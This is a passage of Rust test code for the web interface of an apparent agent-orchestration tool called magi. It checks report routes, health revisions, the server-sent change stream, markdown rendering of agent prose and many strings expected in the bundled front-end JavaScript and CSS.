12053 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12054 assert_eq!(all.as_array().map(Vec::len), Some(3));
12055 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12056 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12057 }
12058
12059 #[tokio::test]
12060 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12061 let f = Fixture::start().await;
12062 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12063
12064 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12065
12066 assert_eq!(res.status, 200);
12067 assert!(
12068 res.headers
12069 .contains("content-type: text/plain; charset=utf-8"),
12070 "a browser must render it, not download it: {}",
12071 res.headers
12072 );
12073 assert!(
12077 res.body.contains("20260902-140501-a1b2"),
12078 "the report is about the run that was asked for: {}",
12079 res.body
12080 );
12081 }
12082
12083 #[tokio::test]
12084 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12085 crate::run::pin_test_home();
12087 let f = Fixture::start().await;
12088 let id = "20260902-140501-a1b2";
12089 write_run(&f.runs(), id, RunStatus::Stalled);
12090 let path = f.runs().join(id).join("run.json");
12093 let mut v: serde_json::Value =
12094 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12095 v["tally"] = serde_json::json!({
12096 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12097 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12098 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12099 "met_quorum": false, "rankings": 1
12100 });
12101 v["reviews"] = serde_json::json!([{
12102 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12103 "e2e_deferred": true,
12104 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12105 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12106 ]}]
12107 }]);
12108 std::fs::write(&path, v.to_string()).unwrap();
12109 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12110 std::fs::write(
12111 f.runs().join("20260902-140502-dead").join("run.json"),
12112 "{not json",
12113 )
12114 .unwrap();
12115
12116 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12117
12118 assert_eq!(res.status, 200, "{}", res.body);
12119 assert!(res.headers.contains("content-type: application/json"));
12120 let j = res.json();
12121 assert_eq!(j["schema"], 1);
12122 assert_eq!(j["header"]["id"], id);
12123 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12124 let kinds: Vec<&str> = j["sections"]
12125 .as_array()
12126 .unwrap()
12127 .iter()
12128 .map(|s| s["kind"].as_str().unwrap())
12129 .collect();
12130 assert_eq!(kinds, ["candidates", "tally", "review"]);
12131 let tally = &j["sections"][1]["tally"];
12132 assert_eq!(
12133 (tally["decided"].clone(), tally["provisional"].clone()),
12134 (false.into(), true.into())
12135 );
12136 let round = &j["sections"][2]["rounds"][0];
12137 assert_eq!(round["e2e"]["state"], "deferred");
12138 assert_eq!(round["findings"][0]["severity"], "major");
12139 assert_eq!(round["findings"][0]["blocking"], true);
12140 assert_eq!(round["findings"][0]["state"], "open");
12141
12142 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12144
12145 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12147 assert_ne!(bad.status, 200, "{}", bad.body);
12148 assert_eq!(
12149 bad.status,
12150 f.get("/api/runs/20260902-140502-dead/report").await.status
12151 );
12152 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12153 assert_eq!(
12154 f.get("/api/runs/20260902-999999-ffff/report.json")
12155 .await
12156 .status,
12157 404
12158 );
12159 }
12160
12161 #[tokio::test]
12162 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12163 let f = Fixture::start().await;
12164
12165 let html = f.get("/").await;
12166 let css = f.get("/app.css").await;
12167 let js = f.get("/app.js").await;
12168
12169 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12170 assert!(
12171 html.headers
12172 .contains("content-type: text/html; charset=utf-8")
12173 );
12174 assert!(css.headers.contains("content-type: text/css"));
12175 assert!(js.headers.contains("content-type: text/javascript"));
12176 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12177 }
12178
12179 #[test]
12180 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12181 let body = |name: &str| {
12182 let at = APP_JS
12183 .find(name)
12184 .unwrap_or_else(|| panic!("{name} missing"));
12185 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12186 };
12187 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12188 let note = body("function landRoundNote");
12189 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12190 assert!(note.contains("Land round ${round}"));
12191 let land = body("function renderLand");
12192 let note_at = land
12193 .find("landRoundNote(pr)")
12194 .expect("renderLand uses the note");
12195 assert!(
12196 note_at
12197 < land
12198 .find("roundRail(pr)")
12199 .expect("renderLand uses the rail")
12200 );
12201 }
12202
12203 #[test]
12204 fn the_runs_page_redesign_keeps_its_guards() {
12205 let body = |name: &str| {
12206 let at = APP_JS
12207 .find(name)
12208 .unwrap_or_else(|| panic!("{name} missing"));
12209 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12210 };
12211 let land = body("function renderLand");
12213 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12214 assert!(
12215 !land.contains("box.append("),
12216 "renderLand must use append()"
12217 );
12218 assert!(land.contains("append(box, ["));
12219 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12221 assert!(
12222 body("function applyRoute")
12223 .contains("route.name !== state.route.name || route.id !== state.route.id")
12224 );
12225 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12227 assert!(!INDEX_HTML.contains("advise-converge"));
12228 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12229 assert!(APP_JS.contains("provisional"));
12230 for id in [
12231 "run-tab-overview",
12232 "run-tab-timeline",
12233 "run-tab-report",
12234 "run-report",
12235 "runs-scope",
12236 ] {
12237 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12238 }
12239 assert!(!INDEX_HTML.contains("runs-tree"));
12240 assert!(!INDEX_HTML.contains("run-raw-panel"));
12241 assert!(APP_JS.contains("resume"));
12243 assert!(APP_JS.contains("unreadable"));
12245 }
12246
12247 #[test]
12248 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12249 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12250 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12251 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12252 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12253 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12254 assert!(APP_JS.contains("unreadable` : null"));
12256 }
12257
12258 #[test]
12259 fn the_run_detail_payload_says_whether_the_run_is_done() {
12260 for (status, done) in [
12262 (RunStatus::Superseded, true),
12263 (RunStatus::Blocked, true),
12264 (RunStatus::Landing, false),
12265 ] {
12266 let mut state = RunState::new(
12267 std::path::PathBuf::from("/repo"),
12268 "main".to_owned(),
12269 "abc".to_owned(),
12270 "x".to_owned(),
12271 crate::config::Config::default(),
12272 );
12273 state.status = status;
12274 let v = serde_json::to_value(RunDetailView::of(
12275 state,
12276 crate::run::Liveness::Unknown,
12277 None,
12278 None,
12279 None,
12280 ))
12281 .unwrap();
12282 assert_eq!(v["done"], done, "{status:?}");
12283 }
12284 }
12285
12286 fn has_strong(nodes: &[md::Node]) -> bool {
12288 serde_json::to_string(nodes).unwrap().contains("strong")
12289 }
12290
12291 #[test]
12292 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12293 let mut state = RunState::new(
12294 std::path::PathBuf::from("/repo"),
12295 "main".to_owned(),
12296 "abc".to_owned(),
12297 "x".to_owned(),
12298 crate::config::Config::default(),
12299 );
12300 let proposal = |approach: &str| {
12301 serde_json::json!({
12302 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12303 })
12304 };
12305 state.advice = Some(
12306 serde_json::from_value(serde_json::json!({
12307 "records": [
12308 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12309 "proposal": proposal("do **this**")},
12310 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12311 ],
12312 "synthesis": "- one\n- **two**\n\n`code`",
12313 }))
12314 .unwrap(),
12315 );
12316 state.candidates = serde_json::from_value(serde_json::json!([
12317 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12318 "summary": "did **it**"},
12319 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12320 ]))
12321 .unwrap();
12322 state.reviews = serde_json::from_value(serde_json::json!([{
12325 "round": 1, "head": "h",
12326 "reviews": [{
12327 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12328 "findings": [
12329 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12330 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12331 ],
12332 }],
12333 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12334 "fix": {"agent": "a", "notes": "fixed **it**",
12335 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12336 }, {"round": 2, "head": "h2", "reviews": []}]))
12337 .unwrap();
12338
12339 let v = serde_json::to_value(RunDetailView::of(
12340 state,
12341 crate::run::Liveness::Unknown,
12342 None,
12343 None,
12344 None,
12345 ))
12346 .unwrap();
12347
12348 let strong = |p: &str| {
12349 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12350 assert!(n.to_string().contains("strong"), "{p}: {n}");
12351 };
12352 strong("/advice_md/synthesis");
12353 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12354 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12355 strong("/advice_md/approaches/0");
12356 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12357 strong("/candidate_summaries_md/0");
12358 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12359 strong("/reviews_md/0/reviewers/0/summary");
12360 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12361 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12362 assert!(f[1].to_string().contains("strong"));
12363 strong("/reviews_md/0/reconsideration/0");
12364 strong("/reviews_md/0/fix/notes");
12365 strong("/reviews_md/0/fix/rejected/0");
12366 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12367 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12368 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12370 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12371 }
12372
12373 #[test]
12374 fn a_run_without_advice_has_no_advice_md() {
12375 let state = RunState::new(
12376 std::path::PathBuf::from("/repo"),
12377 "main".to_owned(),
12378 "abc".to_owned(),
12379 "x".to_owned(),
12380 crate::config::Config::default(),
12381 );
12382 let p = run_prose_md(&state);
12383 assert!(p.advice_md.is_none());
12384 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12385 }
12386
12387 #[test]
12388 fn a_question_view_carries_markdown_for_each_thread_turn() {
12389 let home = TempDir::new().unwrap();
12390 let store = ask::Questions::at(home.path().join("questions"));
12391 let mut q = Question::new(
12392 "run".to_owned(),
12393 "implement".to_owned(),
12394 "impl-A".to_owned(),
12395 "which?".to_owned(),
12396 String::new(),
12397 Vec::new(),
12398 );
12399 q.say("plain words").unwrap();
12400 q.reply("use **this**", Vec::new()).unwrap();
12401 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12402 let bodies = &v["thread_bodies_md"];
12403 assert_eq!(bodies.as_array().unwrap().len(), 2);
12404 assert!(!bodies[0].to_string().contains("strong"));
12405 assert!(bodies[1].to_string().contains("strong"));
12406 }
12407
12408 #[test]
12409 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12410 let home = TempDir::new().unwrap();
12411 let store = ask::Questions::at(home.path().join("questions"));
12412 let mut q = Question::new(
12413 "run".to_owned(),
12414 "conduct".to_owned(),
12415 "conduct".to_owned(),
12416 "which?".to_owned(),
12417 String::new(),
12418 Vec::new(),
12419 );
12420 q.say("plain words").unwrap();
12421 q.thread.push(ask::Turn {
12422 who: ask::Who::Agent,
12423 body: "Settled as `merge`".to_owned(),
12424 at: jiff::Timestamp::now(),
12425 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12426 });
12427 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12428 let notes = &v["thread_notes_md"];
12429 assert_eq!(notes.as_array().unwrap().len(), 2);
12430 assert!(notes[0].is_null());
12431 let text = notes[1].to_string();
12432 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12433 assert!(APP_JS.contains("ask-turn-note"));
12434 }
12435
12436 #[test]
12437 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12438 assert!(APP_JS.contains("function landView(run, raw) {"));
12442 assert!(
12443 APP_JS.contains(
12444 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12445 )
12446 );
12447 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12448 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12449 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12450 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12451 }
12452
12453 #[test]
12454 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12455 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12456 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12457 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12458 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12459 }
12460
12461 #[test]
12462 fn review_rounds_label_a_distinct_verified_head() {
12463 assert!(APP_JS.contains("round.verified_head"));
12464 assert!(APP_JS.contains("verified HEAD"));
12465 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12466 }
12467
12468 #[test]
12469 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12470 assert!(APP_JS.contains("blocked: { glyph:"));
12474 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12475
12476 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12480 assert!(
12481 APP_JS.contains(
12482 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12483 ),
12484 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12485 );
12486 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12490
12491 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12495 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12496 assert!(
12497 APP_JS.contains("location.hash = \"#/questions\";"),
12498 "a question node must jump to the Questions screen, not pretend to be a task"
12499 );
12500
12501 assert!(APP_JS.contains("Resolved questions"));
12504 assert!(APP_JS.contains("r.answersList.append("));
12505 assert!(APP_CSS.contains(".task-answers"));
12506 {
12507 let start = APP_JS
12508 .find("function updateTalkTaskRow")
12509 .expect("updateTalkTaskRow");
12510 let body = &APP_JS[start..];
12511 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12512 assert!(
12513 body.contains(
12514 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12515 ),
12516 "a chat-filed task row must link to the task page"
12517 );
12518 assert!(
12519 !body.contains("#/runs/") && !body.contains("#/queue/"),
12520 "the row must not branch to a run or the queue card"
12521 );
12522 assert!(APP_CSS.contains(".talk-task-link"));
12523 }
12524 }
12525
12526 #[test]
12527 fn a_task_notification_links_to_the_task_page() {
12528 let start = APP_JS
12530 .find("function noticeLink(")
12531 .expect("noticeLink exists");
12532 let body = &APP_JS[start..];
12533 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12534 assert!(
12535 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12536 "a task notice's link must target the task page"
12537 );
12538 assert!(
12539 !body.contains("#/queue/"),
12540 "regression: the task link must not go back to the Backlog route"
12541 );
12542 assert!(
12543 APP_JS.contains(
12544 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12545 ),
12546 "`#/tasks/<id>` must parse into the task route"
12547 );
12548
12549 assert!(
12551 APP_JS.contains(
12552 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12553 ),
12554 "`#/queue/<id>` must parse into a route carrying that id"
12555 );
12556
12557 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12561 assert!(APP_JS.contains("function consumeQueueFocus()"));
12562 assert!(APP_JS.contains("jumpToTask(id)"));
12563 }
12564
12565 #[test]
12568 fn chat_rows_put_the_title_alone_on_the_first_line() {
12569 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12570 assert!(APP_CSS.contains(
12571 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12572 ));
12573 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12574 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12575 }
12576
12577 #[test]
12578 fn run_rows_put_the_title_alone_on_the_first_line() {
12579 assert!(
12580 APP_CSS.contains(
12581 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12582 )
12583 );
12584 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12585 assert!(APP_JS.contains("class: \"card run-card\""));
12586 assert!(APP_JS.contains("class: \"repo run-id\""));
12587 }
12588
12589 #[test]
12593 fn wide_screens_show_list_and_preview_side_by_side() {
12594 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12596 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12597 assert!(APP_CSS.contains("main[data-split]"));
12598 assert!(APP_CSS.contains("body[data-split]"));
12599
12600 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12602 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12603 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12604 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12605 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12606
12607 assert!(APP_JS.contains("function markSelected() {"));
12609 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12610 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12611 assert!(
12613 APP_CSS.contains(
12614 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12615 )
12616 );
12617
12618 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12620 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12621 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12622 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12623
12624 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12628 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12629 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12630 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12631
12632 assert!(APP_JS.contains("sandbox: \"\""));
12634 assert!(!APP_JS.contains("sandbox: \"allow"));
12635 }
12636
12637 #[test]
12638 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12639 assert!(
12648 APP_JS.contains(
12649 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12650 ),
12651 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12652 recursive renderQueue() call has nothing left to jump to"
12653 );
12654 assert!(
12655 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12656 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12657 arrives later still gets it"
12658 );
12659 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12660 assert!(APP_JS.contains("is not in the current Backlog."));
12661 assert!(APP_JS.contains("li.card[data-task-id=\""));
12662 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12663 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12664 assert!(APP_CSS.contains(".card-permalink"));
12665 assert!(APP_CSS.contains(".queue-focus-status"));
12666 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12667 }
12668
12669 #[test]
12670 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12671 assert!(
12679 APP_JS.contains(
12680 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12681 ),
12682 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12683 );
12684 }
12685
12686 #[test]
12687 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12688 assert!(
12689 APP_JS.contains("round.verified_head !== round.head"),
12690 "a round that verified an earlier commit must be visibly distinct from one that \
12691 verified the head reviewers are looking at now"
12692 );
12693 assert!(
12694 APP_JS.contains("round.verified_at"),
12695 "when a check ran must be on the wire, not just which commit"
12696 );
12697 assert!(
12698 APP_JS.contains("resource_blocked"),
12699 "a command magi never got to run (shared build cache contention) must not render \
12700 the same as a command that ran and failed"
12701 );
12702 }
12703
12704 #[test]
12705 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12706 assert!(
12714 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12715 "every KPI tile built through statusTile() must route its click through \
12716 openRunsFiltered, the single place that sets the Runs filter"
12717 );
12718 for (label, status) in [
12719 ("Merged", "merged"),
12720 ("Ready", "ready"),
12721 ("Blocked", "blocked"),
12722 ("Stalled", "stalled"),
12723 ] {
12724 let call = format!("statusTile(\"{label}\", t.{status}, ");
12725 assert!(
12726 APP_JS.contains(&call),
12727 "expected the {label} KPI tile built via {call}..."
12728 );
12729 assert!(
12730 APP_JS.contains(&format!("status === \"{status}\"")),
12731 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12732 compare a run against, not one invented only for the stats tile"
12733 );
12734 }
12735 assert!(
12736 APP_JS.contains("function openRunsFiltered(status)"),
12737 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12738 );
12739 assert!(
12740 APP_JS.contains(
12741 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12742 ),
12743 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12744 );
12745 assert!(
12753 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12754 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12755 hashchange event that may never fire"
12756 );
12757 }
12758
12759 #[test]
12760 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12761 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12767 assert!(
12768 APP_JS.contains(
12769 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12770 ),
12771 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12772 guard for an incompatible tree section"
12773 );
12774 }
12775
12776 #[test]
12777 fn every_stats_queue_tile_names_a_real_queue_section() {
12778 assert!(
12784 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12785 "every queue tile built through sectionTile() must route its click through \
12786 openQueueSectionFocus"
12787 );
12788 for key in ["upnext", "running", "done", "held", "blocked"] {
12789 assert!(
12790 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12791 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12792 );
12793 }
12794 for line in [
12798 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12799 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12800 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12801 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12802 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12803 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12804 ] {
12805 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12806 }
12807 }
12808
12809 #[test]
12810 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12811 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12818 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12819 assert!(APP_JS.contains("function revealQueueSection(details)"));
12820 assert!(
12821 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12822 "renderQueue() must consume both focus channels on every pass"
12823 );
12824 assert!(
12825 APP_JS.contains(
12826 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12827 ),
12828 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12829 the recursive renderQueue() call has nothing left to reveal"
12830 );
12831 assert!(
12832 APP_JS.contains(
12833 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12834 ),
12835 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12836 );
12837 assert!(
12845 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12846 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12847 hashchange event that may never fire"
12848 );
12849 }
12850
12851 #[tokio::test]
12852 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12853 let f = Fixture::start().await;
12854
12855 let mut socket = tokio::net::TcpStream::connect(f.addr)
12856 .await
12857 .expect("connect");
12858 socket
12859 .write_all(
12860 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12861 )
12862 .await
12863 .expect("write request");
12864
12865 let mut seen = String::new();
12868 let mut buf = [0u8; 1024];
12869 while !seen.contains("event: change") {
12870 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12871 .await
12872 .expect("the stream must speak within five seconds")
12873 .expect("read");
12874 assert!(read > 0, "the server closed the change stream: {seen}");
12875 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12876 }
12877
12878 assert!(
12879 seen.to_lowercase()
12880 .contains("content-type: text/event-stream"),
12881 "the browser only reconnects automatically for a real SSE stream: {seen}"
12882 );
12883 let data = seen
12884 .lines()
12885 .find_map(|l| l.strip_prefix("data:"))
12886 .expect("a data line");
12887 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12888 assert!(
12889 payload["queue_rev"].is_u64()
12890 && payload["runs_rev"].is_u64()
12891 && payload["questions_rev"].is_u64()
12892 && payload["talks_rev"].is_u64()
12893 && payload["notifications_rev"].is_u64()
12894 && payload["loop_rev"].is_u64(),
12895 "the client needs one revision per store to know what to refetch, \
12896 and `talks_rev` is the only notification a standing talk gets - a \
12897 phone whose radio slept through a turn learns about it here, as \
12898 does one whose operator started the loop from another device: \
12899 {payload}"
12900 );
12901
12902 let health = f.get("/api/health").await.json();
12909 for key in [
12910 "queue_rev",
12911 "runs_rev",
12912 "questions_rev",
12913 "talks_rev",
12914 "notifications_rev",
12915 "loop_rev",
12916 ] {
12917 assert!(
12918 health[key].is_u64(),
12919 "health is the change stream's fallback and is missing `{key}`: {health}"
12920 );
12921 }
12922 }
12923
12924 #[tokio::test]
12925 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12926 let f = Fixture::start().await;
12927 let before = f.get("/api/health").await.json()["talks_rev"]
12928 .as_u64()
12929 .expect("talks_rev");
12930
12931 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12932 std::thread::sleep(Duration::from_millis(10));
12933 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12934 on_disk.turns.push(crate::talk::Turn {
12935 who: crate::talk::Who::Operator,
12936 body: "a new turn".to_owned(),
12937 at: Timestamp::now(),
12938 attachments: Vec::new(),
12939 usage: None,
12940 });
12941 f.talks().put(&mut on_disk).expect("record a turn");
12942
12943 let after = f.get("/api/health").await.json()["talks_rev"]
12944 .as_u64()
12945 .expect("talks_rev");
12946 assert_ne!(
12947 before, after,
12948 "a phone must be able to notice a talk's reply without polling every store"
12949 );
12950 }
12951
12952 #[test]
12953 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12954 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12958 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12959 }
12960 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12961 assert!("everywhere".parse::<Bind>().is_err());
12962 }
12963
12964 #[test]
12965 fn an_explicit_bind_address_is_taken_verbatim() {
12966 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12967
12968 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12969
12970 assert_eq!(addr, asked);
12971 assert!(
12972 warning.is_none(),
12973 "an operator who named an address gets no lecture"
12974 );
12975 }
12976
12977 #[test]
12978 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12979 let (addr, warning) = resolve_bind(&Bind::Auto);
12980
12981 match addr {
